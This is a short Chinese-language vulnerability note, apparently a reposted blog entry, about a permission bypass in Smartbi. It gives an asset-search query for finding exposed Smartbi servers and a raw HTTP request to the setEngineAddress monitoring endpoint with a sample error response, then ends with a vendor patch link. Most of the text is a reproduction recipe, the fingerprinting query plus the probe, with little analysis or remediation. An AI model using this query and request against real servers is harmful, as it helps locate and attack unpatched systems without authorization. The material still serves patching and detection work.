Smartbi权限绕过漏洞

该文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。

资产测绘-鹰图 

web.title=="Smartbi"

 漏洞复现

发包或者直接拼接url都行

GET /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

 拼接url

/smartbi/smartbix/api/monitor/setEngineAddress

{
  "message": "未知错误 -> Request method 'GET' not supported",
  "type": "smartbix.SmartbiXException",
  "code": "UNKOWN_ERROR",
  "stackTrace": null,
  "stackAppendInfo": null,
  "weak": false
}

 漏洞修复

https://www.smartbi.com.cn/patchinfo